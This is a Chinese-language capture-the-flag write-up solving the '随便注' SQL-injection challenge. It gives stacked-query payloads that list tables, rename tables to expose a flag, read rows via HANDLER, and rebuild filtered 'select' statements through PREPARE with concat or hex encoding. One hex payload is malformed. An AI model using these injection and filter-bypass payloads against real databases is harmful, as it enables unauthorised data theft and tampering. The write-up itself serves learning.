第一步:是否存在注入
输入1回显正常,输入1'报错,基本判断存在注入,用#注释一下试试
发现存在注入,首先老规矩order by
第二步:开始注入
3时报错,说明有两列。尝试union select
联合查询注入
返回一个正则过滤规则,可以看到几乎所有常用的字段都被过滤了。这里尝试过双写绕过,16进制绕过等;不过过滤机制太强,都不行。
这时候想到堆叠注入,试一下
1'; show databases; #
可以看到成功了,存在堆叠注入
接下来输入1'; show tables; # 查表
可以看到当前库下有两张表(1919810931114514和words)
先看words表,输入1'; show columns from words; #
发现words表中一共有id和data两列,那么可以猜测我们提交查询的窗口就是在这个表里查询数据
然后报表 1919810931114514 的内容,表名为数字时,要用反引号包起来查询。
方式一:1'; show columns from tableName;#
方式二:1';desc tableName;#
如果tableName是纯数字,需要用`包裹,比如
1'; show columns from`1919810931114514`;#
可以看到表中有我们想要的flag字段,且只有这一列
该题目的查询语句很有可能是:selsect id,data from words where id =,因为我们输入1,回显得是两个字段,这与words表符合,而1919810931114514表中只有一列。
有强大的正则过滤,但仍在大佬的启发下使用了四种方式
三.堆叠注入姿势
姿势一.更改表名
因为可以堆叠查询,这时候就想到了一个改名的方法,把words随便改成words1,然后把1919810931114514改成words,再把列名flag改成id(或data),结合上面的1’ or 1=1#爆出表所有内容就可以查flag啦。
修改表名:ALTER TABLE 旧表名 RENAME TO 新表名;
修改字段:ALTER TABLE 表名 CHANGE 旧字段名 新字段名 新数据类型;
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
或者
rename命令用于修改表名。
rename命令格式:rename table 原表名 to 新表名;
1';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100);#
最后,再用一下一开始的操作 id=1' or 1=1#。得到flag
姿势二.handle
handle不是通用的SQL语句,是Mysql特有的,可以逐行浏览某个表中的数据,格式:
打开表:HANDLER 表名 OPEN ;
查看数据: HANDLER 表名 READ next;
关闭表: HANDLER 表名 READ CLOSE;
1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ next;HANDLER `1919810931114514` CLOSE;#
姿势三.预编译的方式
因为select关键字被过滤了,所以我们可以通过预编译的方式拼接select 关键字:
预编译相当于定一个语句相同,参数不同的Mysql模板,我们可以通过预编译的方式,绕过特定的字符过滤,格式:
1.PREPARE 名称 FROM Sql语句 ? ;
2.SET @x=xx;
EXECUTE 名称 USING @x;
1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#
select * from `1919810931114514`语句进行16进制编码,即:0x73656c656374202a2066726f6d2060313931393831303933313131343531346
1';PREPARE ck from 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;EXECUTE ck;#
姿势四.利用MySql预处理
使用条件:HANDLER也被过滤了。
在遇到堆叠注入时,如果select、rename、alter和handler等语句都被过滤的话,我们可以用MySql预处理语句配合concat拼接来执行sql语句拿flag。
参考博客:
强网杯 2019]随便注 【SQL注入】四种解法_张甲的博客-CSDN博客_[强网杯 2019]随便注 1 请点击启动靶机。